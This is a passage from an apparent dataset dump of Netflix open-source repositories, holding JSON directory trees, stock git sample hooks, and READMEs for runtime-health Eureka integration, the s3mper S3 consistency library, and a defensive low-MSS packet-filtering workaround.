"children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "caching", "children": [{"type": "file", "name": "CachingHealthIndicatorTest.java"}, {"type": "file", "name": "DefaultCachingHealthCheckAggregatorTest.java"}]}, {"type": "file", "name": "SimpleHealthCheckAggregatorEventsTest.java"}, {"type": "file", "name": "SimpleHealthCheckAggregatorMetricsTest.java"}, {"type": "file", "name": "SimpleHealthCheckAggregatorTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "health-guice", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "guice", "children": [{"type": "file", "name": "HealthAggregatorConfiguration.java"}, {"type": "file", "name": "HealthModule.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "guice", "children": [{"type": "file", "name": "HealthModuleTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "health-integrations", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "eureka", "children": [{"type": "file", "name": "EurekaHealthStatusBridgeModule.java"}, {"type": "file", "name": "EurekaStatusChangeEvent.java"}, {"type": "file", "name": "HealthAggregatorEurekaHealthCheckHandler.java"}]}, {"type": "directory", "name": "servlet", "children": [{"type": "file", "name": "HealthStatusServlet.java"}]}, {"type": "directory", "name": "status", "children": [{"type": "file", "name": "ArchaiusHealthStatusFilterModule.java"}, {"type": "file", "name": "HealthStatusInclusionConfiguration.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "eureka", "children": [{"type": "file", "name": "EurekaHealthStatusBridgeModuleTest.java"}]}, {"type": "directory", "name": "status", "children": [{"type": "file", "name": "ArchaiusHealthStatusFilterModuleTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | # Health Integrations
----------------
### Eureka
Integration of runtime-health with netflix eureka. This package provides bridging of health state and eureka status as a registered HealthCheckHandler for EurekaClient.
The HealthCheckHandler registration with EurekaClient will not occur until after the Injector is created.
To use:
```java
InjectorBuilder
.fromModules(
// ... other modules ...
new HealthModule(),
new EurekaHealthStatusBridgeModule(),
// ... other modules ...
)
.createInjector();
```
### Archaius2-backed IndicatorMatcher
Filtering of which HealthIndicators will be used in communicating the health status of the application is provided via an [Archaius2](https://github.com/Netflix/archaius/tree/2.x) implementation of [IndicatorMatcher](https://github.com/Netflix/runtime-health/tree/health-api/src/main/java/com/netflix/runtime/health/api/IndicatorMatcher.java).
```
InjectorBuilder
.fromModules(
// ... other modules ...
new HealthModule(),
new EurekaHealthStatusBridgeModule(),
new ArchaiusHealthStatusFilterModule(),
// ... other modules ...
)
.createInjector();
```
Indicators can now be included/excluded by setting the following properties in Archaius2. Excluded indicators will take priority over included ones.
```
health.status.indicators.include=com.myproject.MyIndicator
health.status.indicators.exclude=com.myproject.DontIncludeThisIndicator
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Tue Sep 15 13:44:54 PDT 2015\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-6.8.3-bin.zip\n"} | null |
s3mper | {"type": "directory", "name": "s3mper", "children": [{"type": "directory", "name": "bin", "children": [{"type": "file", "name": "s3mper"}]}, {"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "verify-consistent-listing.sh"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "bdp", "children": [{"type": "directory", "name": "s3mper", "children": [{"type": "directory", "name": "alert", "children": [{"type": "file", "name": "AlertDispatcher.java"}, {"type": "directory", "name": "impl", "children": [{"type": "file", "name": "AbstractMessage.java"}, {"type": "file", "name": "AlertJanitor.java"}, {"type": "file", "name": "CloudWatchAlertDispatcher.java"}, {"type": "file", "name": "S3ConsistencyMessage.java"}, {"type": "file", "name": "S3mperTimeoutMessage.java"}]}]}, {"type": "directory", "name": "cli", "children": [{"type": "file", "name": "Command.java"}, {"type": "file", "name": "FileSystemVerifyCommand.java"}, {"type": "file", "name": "MetastoreListCommand.java"}, {"type": "file", "name": "MetastorePathDeleteCommand.java"}, {"type": "file", "name": "MetastoreResolveCommand.java"}, {"type": "file", "name": "MetastoreTimeseriesDeleteCommand.java"}, {"type": "file", "name": "S3mper.java"}]}, {"type": "directory", "name": "common", "children": [{"type": "file", "name": "BackoffAlgorithm.java"}, {"type": "file", "name": "ExponentialBackoffAlgorithm.java"}, {"type": "file", "name": "IncrementalBackoffAlgorithm.java"}, {"type": "file", "name": "PathUtil.java"}, {"type": "file", "name": "RetryTask.java"}]}, {"type": "directory", "name": "listing", "children": [{"type": "file", "name": "ConsistentListingAspect.java"}, {"type": "file", "name": "S3ConsistencyException.java"}]}, {"type": "directory", "name": "metastore", "children": [{"type": "file", "name": "FileInfo.java"}, {"type": "file", "name": "FileSystemMetastore.java"}, {"type": "directory", "name": "impl", "children": [{"type": "file", "name": "AbstractDynamoDBTask.java"}, {"type": "file", "name": "AbstractScannerTask.java"}, {"type": "file", "name": "DeleteWriterTask.java"}, {"type": "file", "name": "DynamoDBMetastore.java"}, {"type": "file", "name": "MetastoreJanitor.java"}, {"type": "file", "name": "PathScannerTask.java"}, {"type": "file", "name": "TimeseriesScannerTask.java"}]}, {"type": "file", "name": "MetastoreException.java"}]}]}]}]}]}]}, {"type": "directory", "name": "python", "children": [{"type": "file", "name": "s3mper.py"}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "file", "name": "aop.xml"}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "bdp", "children": [{"type": "directory", "name": "s3mper", "children": [{"type": "directory", "name": "listing", "children": [{"type": "file", "name": "ConsistentListingAspectTest.java"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "TestCaseRunner.java"}]}]}]}]}]}]} | S3mper
=====
S3mper is a library that provides an additional layer of consistency checking on top of Amazon's S3 index through use of a consistent, secondary index.
Overview
--------
S3mper leverages [Aspect Oriented Programming](http://en.wikipedia.org/wiki/Aspect-oriented_programming) and is implemented with [AspectJ](http://eclipse.org/aspectj/ "AspectJ") to advise implementations of the Hadoop FileSystem (primarily the NativeS3FileSystem implementation) with additional logic to crosscheck a secondary index for consistency.
The default implementation of the secondary index uses DynamoDB because of the speed, consistency, and availability guarantees that service provides. The table schema is designed to be light-weight and fast so as to not impair the performance of the file system.
There are two logical indexes[^1] used in the table structure to access path and file information. The first index is path based for lookup during listing operations. The second index is timeseries based so that entries can be expired from both indexes without having to scan the entire table.
##### Table Structure
| Hash Key: path | Range Key: file | epoch | deleted | dir | linkPath | linkFile |
| -------------- | --------------- | -------- | ---------- | ------ | ----------- | ----------- |
| //\<bucket\>/\<path\> | \<filename\>| \<timestamp\> | \<flag\>| \<flag\> | N/A | N/A |
| epoch[^2] | \<timestamp+entropy\>| N/A | N/A | N/A | //\<bucket\>/\<path\> | \<filename\> |
The purpose of this table scheme is to provide range query operations for directory listings and for timeseries deletes.
[^1]: The indexes are not implemented using DynamoDB Secondary Indexes due to constrains
[^2]: This is a static value _'epoch'_
[Building](id:build)
--------
A gradle wrapper is used to build s3mper and can be run without additional tools. Edit the `build.gradle` to the appropriate version of hadoop and build with the following command.
```
$ ./gradlew release
```
This will produce the necessary jar files for use with hadoop in `build/libs` and a tar file with all dependencies for use with the admin tool.
Installing
----------
Installation requires the following steps:
* Installing libraries on client and cluster hosts
* Modifying the hadoop configuration to enable s3mper
### Library Installation
The three jar files from the `build/libs` directory need to be copied to the `$HADOOP_HOME/lib` directory on all hosts. The three files are:
```
s3mper-1.0.0.jar
aspectjrt-1.7.3.jar
aspectjweaver-1.7.3.jar
```
### Hadoop Configuration
Three files need to be updated to enable s3mper:
##### Changes to `$HADOOP_HOME/conf/hadoop-env.sh`
This file needs to be updated to load the aspects using a java agent. Modify the `HADOOP_OPTS` variable like the following:
```
export HADOOP_OPTS="-javaagent:$HADOOP_HOME/lib/aspectjweaver-1.7.3.jar $HADOOP_OPTS"
```
##### Changes to `$HADOOP_HOME/conf/core-site.xml`
S3mper is disabled by default and must be explicitly enabled with the following option:
```
<property><name>s3mper.disable</name><value>false</value></property>
```
##### Changes to `$HADOOP_HOME/conf/mapred-site.xml` [Optional]
The child processes of the task trackers need to have the java agent included in the jvm options as well. If you updated the hadoop-env.sh on all hosts, this step should not be necessary and may cause the jvm to fail to start if there are two of the same java agent commands. The following can be added to the `mapred-site.xml` to add the java agent if the child processes don't have the agent enabled (assumes hadoop is installed in `/opt/hadoop`):
```
<property><name>mapred.child.java.opts</name><value>--javaagent:/opt/hadoop/lib/aspectjweaver-1.7.3.jar</value></property>
```
##### Detailed Logging `$HADOOP_HOME/conf/log4j.properties` [Optional]
To turn on detailed s3mper logging to see information about what s3mper is doing, add the following line to the log4j configuration:
```
log4j.logger.com.netflix.bdp.s3mper=trace
```
Configuration
-------------
##### Creating the DynamoDB Table
The easiest way to create the initial metastore in DynamoDB is to set `s3mper.metastore.create=true` and execute a command against the metastore. This will create the table in DynamoDB with the proper configuration. The read/write unit capacity can be configured via the AWS DyanmoDB console.
##### Creating SQS Queues
The SQS Queues used for alerting need to be created by hand (no tool exists to create them automatically). The default queue names are:
```
s3mper.alert.queue
s3mper.timeout.queue
s3mper.notification.queue
```
Messages will be delivered to these queues when a listing inconsistency is detected.
##### Configuration Options
S3mper supports a wide variety of options that can be controlled using properties from within a Pig/Hive/Hadoop job. These options manage how s3mper will respond to a in consistent listing when it occurs. The table below describes these options:
Property | Default | Description
-------- | ------- | -----------
s3mper.disable|FALSE|"Disables all functionality of s3mper. The aspect will still be woven, but it will not interfere with normal behavior."
s3mper.metastore.create|FALSE|Create the metastore if it doesn't exist. Note that this isn't an atomic operation so commands may fail until the metastore is fully initialized. It's best to create the metastore prior to running any commands.
s3mper.failOnError|FALSE|"If true, any inconsistent list operation will result in a S3ConsistencyException being thrown, logging an error, and notifying CloudWatch. If false, the exception will not be thrown but the log and CloudWatch metric will still be sent."
s3mper.task.failOnError|FALSE|Controls whether a M/R Task (i.e. a Child TaskTracker process) will fail if the task fails a consistency check. Most queries only check at the start of the query.
s3mper.listing.recheck.count|15|How many times to recheck the listing. This works in combination with 's3mper.listing.recheck.period' to control how long to wait before failing/proceeding with the query.
s3mper.listing.task.recheck.count|0|How many times to recheck listing within a MapReduce task context (i.e. a Child task executing on the EMR cluster). This is handled separately from other cases because it may cause the task to timeout. In general listing is done prior to executing the task.
s3mper.listing.recheck.period|60000|How long to wait (in Milliseconds) between checks defined by 's3mper.listing.recheck.count'
s3mper.listing.task.recheck.period|0|How long to wait (in Milliseconds) between checks defined by 's3mper.listing.task.recheck.count'
s3mper.metastore.deleteMarker.enabled|FALSE|"Use a delete marker instead of removing the entry from the metastore. This will fix the second type of consistency problem where a file is deleted, but the listing still shows that it is available by removing those deleted files from the listing."
s3mper.listing.directory.tracking| FALSE | Track directory creation/deletion in the metastore.
s3mper.listing.delist.deleted|TRUE|"Removes files from the listing that have delete markers applied to them. If delete markers is enabled, this should also be enabled or the listing will expect files that are actually deleted."
s3mper.metastore.impl|\<see code\>|The fully qualified class with metastore implementation.
s3mper.dispatcher.impl|\<see code\>|The fully qualified class with alert dispatcher implementation.
fs.\<scheme\>.awsAccessKeyId||Key to use for DynamoDB access
fs.\<scheme\>.awsSecretAccessKey||Secret to use for DynamoDB access
s3mper.override.awsAccessKeyId||Key to use for DynamoDB access if different from the default key
s3mper.override.awsSecretAccessKey||Secret to use for DynamoDB access if different from the default key
s3mper.metastore.read.units|500|The number of read units to provision on create. Only used if the table does not exist.
s3mper.metastore.write.units|100|The number of write units to provision on create. Only used if the table does not exist.
s3mper.metastore.name|ConsistentListingMetastore|The name of the DynamoDB table to use.
Verification
------------
A unit test is included with the library that exercises the advised commands on the file system. Build the test jars with the command `./gradlew testJar` and include the `s3mpter-test.jar` in the classpath. Use the `scripts/verify-consistent-listing.sh` command to run the unit tests.
__Note:__ you may need to modify some paths in the script to point to the correct directories.
Administration
--------------
S3mper is intended to only provide consistency guarentees for a "window" of time. This means that entries are removed from the secondary index after a set period of time from which point the S3 index is expected to be consistent. A commandline admin tool is provided that allows for configurable cleanup of expired entries in the secondary index. To use the admin tool, unpack the tar file produced in the [Building](#build) section. The command can be found at the root level and is simply `s3mper`.
__Note:__ you many need to modify the classpath in the s3mper script to point to the s3mper lib directory from the tar file.
To run the command, use `./s3mper <meta | sqs | fs> <options>`
A cron job (or similar scheduled job) should be configured to remove expired entries in DynamoDB. The following command can be used to delete entries older than one day:
```
./s3mper meta delete_ts -ru 100 -wu 100 -s 1 -d 10 -u days -n 1
# delete_ts Use the timeseries index to delete entries
# ru Max read units to consume in DynamoDB
# wu Max write units to consume in DynamoDB
# s Number of scan threads to use (Note: only use 1)
# d Number of delete threads to use
# u Time unit
# n Number of time units
```
Running the cleanup on a regular basis (every 30min) will limit the cleanup work required down and keep the consistency time window well regulated.
Issues
------
Please file issues on github [here](https://github.com/Netflix/s3mper/issues "S3mper Issue Tracking")
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Fri Apr 10 15:30:27 PDT 2015\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=http\\://services.gradle.org/distributions/gradle-2.2.1-bin.zip\n"} | null |
security-bulletins | {"type": "directory", "name": "security-bulletins", "children": [{"type": "directory", "name": "advisories", "children": [{"type": "file", "name": "nflx-2015-001.md"}, {"type": "file", "name": "nflx-2016-002.md"}, {"type": "file", "name": "nflx-2016-003.md"}, {"type": "file", "name": "nflx-2017-001.md"}, {"type": "file", "name": "nflx-2018-001.md"}, {"type": "file", "name": "nflx-2018-002.md"}, {"type": "file", "name": "nflx-2019-003.md"}, {"type": "file", "name": "nflx-2020-001.md"}, {"type": "file", "name": "nflx-2020-002.md"}, {"type": "file", "name": "nflx-2020-003.md"}, {"type": "file", "name": "nflx-2020-004.md"}, {"type": "file", "name": "nflx-2020-005.md"}, {"type": "file", "name": "nflx-2020-006.md"}, {"type": "file", "name": "nflx-2021-001.md"}, {"type": "file", "name": "nflx-2021-002.md"}, {"type": "file", "name": "nflx-2021-003.md"}, {"type": "file", "name": "nflx-2022-001.md"}, {"type": "file", "name": "nflx-2023-001.md"}, {"type": "file", "name": "nflx-2023-002.md"}, {"type": "file", "name": "nflx-2023-003.md"}, {"type": "file", "name": "nflx-2024-001.md"}, {"type": "file", "name": "nflx-2024-002.md"}, {"type": "file", "name": "nflx-2024-003.md"}, {"type": "file", "name": "nflx-2024-004.md"}, {"type": "file", "name": "template.md"}, {"type": "directory", "name": "third-party", "children": [{"type": "directory", "name": "2019-001", "children": [{"type": "directory", "name": "block-low-mss", "children": [{"type": "file", "name": "ip6tables.txt"}, {"type": "file", "name": "iptables.txt"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "tc-bytecode"}, {"type": "file", "name": "tc.txt"}, {"type": "file", "name": "tcpdump"}]}, {"type": "file", "name": "PATCH_net_1a.patch"}, {"type": "file", "name": "PATCH_net_1_4.patch"}, {"type": "file", "name": "PATCH_net_2_4.patch"}, {"type": "file", "name": "PATCH_net_3_4.patch"}, {"type": "file", "name": "PATCH_net_4_4.patch"}, {"type": "file", "name": "split_limit.patch"}]}, {"type": "file", "name": "2019-001.md"}, {"type": "directory", "name": "2019-002", "children": []}, {"type": "file", "name": "2019-002.md"}]}]}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}]} | ## Workaround to block connections with low MSSs
#### [iptables.txt](iptables.txt)
For a Linux instance, use iptables module tcpmss to
set a range of TCP MSS values to reject. An attacker using a small
(in this example < 500) MSS will drop the TCP SYN packets.
This will block connection establishment and block the attack.
#### [ip6tables.txt](ip6tables.txt)
The equivalent of the above, for ip6tables.
#### [tc-bytecode](tc-bytecode)
Outputs tc commands to install a bpf ingress filter,
as for above TCP SYN packets are dropped.
#### [tcpdump](tcpdump)
Used by tc-bytecode to invoke tcpdump(8) with a rule
set to detect a TCP-SYN packet header with a MSS option in any
possition that request a small MSS.
#### [tc.txt](tc.txt)
The output from tc-bytcode, copy/paste to a sudo'd shell
to install a tc ingress filter for small MSS.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
servo | {"type": "directory", "name": "servo", "children": [{"type": "file", "name": ".netflixoss"}, {"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}, {"type": "file", "name": "checkstyle_test.xml"}, {"type": "file", "name": "findbugs-exclude.xml"}, {"type": "file", "name": "HEADER"}, {"type": "file", "name": "pmd.xml"}]}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "file", "name": "dependencies.properties"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "NOTICE.txt"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "servo-apache", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "apache", "children": [{"type": "file", "name": "ApacheStatusPoller.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "apache", "children": [{"type": "file", "name": "ApacheStatusPollerTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "servo-atlas", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "jmh", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "atlas", "children": [{"type": "file", "name": "ValidCharactersBench.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "atlas", "children": [{"type": "file", "name": "AtlasMetric.java"}, {"type": "file", "name": "AtlasMetricObserver.java"}, {"type": "file", "name": "AtlasPrettyPrinter.java"}, {"type": "file", "name": "BasicAtlasConfig.java"}, {"type": "file", "name": "HttpHelper.java"}, {"type": "file", "name": "JsonPayload.java"}, {"type": "file", "name": "ServoAtlasConfig.java"}, {"type": "file", "name": "UpdateRequest.java"}, {"type": "file", "name": "ValidCharacters.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "atlas", "children": [{"type": "file", "name": "AtlasPrettyPrinterTest.java"}, {"type": "file", "name": "HttpHelperTest.java"}, {"type": "file", "name": "ValidCharactersTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "servo-aws", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "doc", "children": [{"type": "file", "name": "ec2Metadata.txt"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "AwsPropertyKeys.java"}, {"type": "file", "name": "AwsServiceClients.java"}, {"type": "directory", "name": "constants", "children": [{"type": "file", "name": "Dimensions.java"}, {"type": "file", "name": "Namespace.java"}, {"type": "file", "name": "package-info.java"}]}, {"type": "file", "name": "DataSourceTypeToAwsUnit.java"}, {"type": "file", "name": "package-info.java"}]}, {"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "cloudwatch", "children": [{"type": "file", "name": "CloudWatchMetricObserver.java"}, {"type": "file", "name": "package-info.java"}]}]}, {"type": "directory", "name": "tag", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "AwsInjectableTag.java"}, {"type": "file", "name": "package-info.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "DataSourceTypeToAwsUnitTest.java"}]}, {"type": "directory", "name": "publish", "children": [{"type": "directory", "name": "cloudwatch", "children": [{"type": "file", "name": "CloudWatchMetricObserverTest.java"}, {"type": "file", "name": "CloudWatchValueTest.java"}]}]}, {"type": "directory", "name": "tag", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "AwsInjectableTagTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "servo-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "servo", "children": [{"type": "directory", "name": "annotations", "children": [{"type": "file", "name": "DataSourceLevel.java"}, {"type": "file", "name": "DataSourceType.java"}, {"type": "file", "name": "Monitor.java"}, {"type": "file", "name": "MonitorTags.java"}, {"type": "file", "name": "package-info.java"}]}, {"type": "file", "name": "BasicMonitorRegistry.java"}, {"type": "file", "name": "DefaultMonitorRegistry.java"}, {"type": "directory", "name": "jmx", "children": [{"type": "file", "name": "DefaultObjectNameMapper.java"}, {"type": "file", "name": "JmxMonitorRegistry.java"}, {"type": "file", "name": "MonitorMBean.java"}, {"type": "file", "name": "ObjectNameBuilder.java"}, {"type": "file", "name": "ObjectNameMapper.java"}, {"type": "file", "name": "OrderedObjectNameMapper.java"}, {"type": "file", "name": "package-info.java"}]}, {"type": "file", "name": "Metric.java"}, {"type": "directory", "name": "monitor", "children": [{"type": "file", "name": "AbstractContextualMonitor.java"}, {"type": "file", "name": "AbstractMonitor.java"}, {"type": "file", "name": "AnnotatedNumberMonitor.java"}, {"type": "file", "name": "AnnotatedStringMonitor.java"}, {"type": "file", "name": "BasicCompositeMonitor.java"}, {"type": "file", "name": "BasicCounter.java"}, {"type": "file", "name": "BasicDistributionSummary.java"}, {"type": "file", "name": "BasicGauge.java"}, {"type": "file", "name": "BasicInformational.java"}, {"type": "file", "name": "BasicStopwatch.java"}, {"type": "file", "name": "BasicTimer.java"}, {"type": "file", "name": "BucketConfig.java"}, {"type": "file", "name": "BucketTimer.java"}, {"type": "file", "name": "CompositeMonitor.java"}, {"type": "file", "name": "CompositeMonitorWrapper.java"}, {"type": "file", "name": "ContextualCounter.java"}, {"type": "file", "name": "ContextualTimer.java"}, {"type": "file", "name": "Counter.java"}, {"type": "file", "name": "DefaultPublishingPolicy.java"}, {"type": "file", "name": "DoubleCounter.java"}, {"type": "file", "name": "DoubleGauge.java"}, {"type": "file", "name": "DoubleMaxGauge.java"}, {"type": "file", "name": "DurationTimer.java"}, {"type": "file", "name": "DynamicCounter.java"}, {"type": "file", "name": "DynamicGauge.java"}, {"type": "file", "name": "DynamicTimer.java"}, {"type": "file", "name": "Gauge.java"}, {"type": "file", "name": "Informational.java"}, {"type": "file", "name": "LongGauge.java"}, {"type": "file", "name": "MaxGauge.java"}, {"type": "file", "name": "MinGauge.java"}, {"type": "file", "name": "Monitor.java"}, {"type": "file", "name": "MonitorConfig.java"}, {"type": "file", "name": "MonitoredCache.java"}, {"type": "file", "name": "MonitoredThreadPool.java"}, {"type": "file", "name": "Monitors.java"}, {"type": "file", "name": "MonitorWrapper.java"}, {"type": "file", "name": "NumberGauge.java"}, {"type": "file", "name": "NumericMonitor.java"}, {"type": "file", "name": "NumericMonitorWrapper.java"}, {"type": "file", "name": "package-info.java"}, {"type": "file", "name": "PeakRateCounter.java"}, {"type": "file", "name": "Pollers.java"}, {"type": "file", "name": "PublishingPolicy.java"}, {"type": "file", "name": "ResettableCounter.java"}, {"type": "file", "name": "SpectatorMonitor.java"}, {"type": "file", "name": "SpectatorMonitorWrapper.java"}, {"type": "file", "name": "StatsMonitor.java"}, {"type": "file", "name": "StatsTimer.java"}, {"type": "file", "name": "StepCounter.java"}, {"type": "file", "name": "StepLong.java"}, {"type": "file", "name": "Stopwatch.java"}, 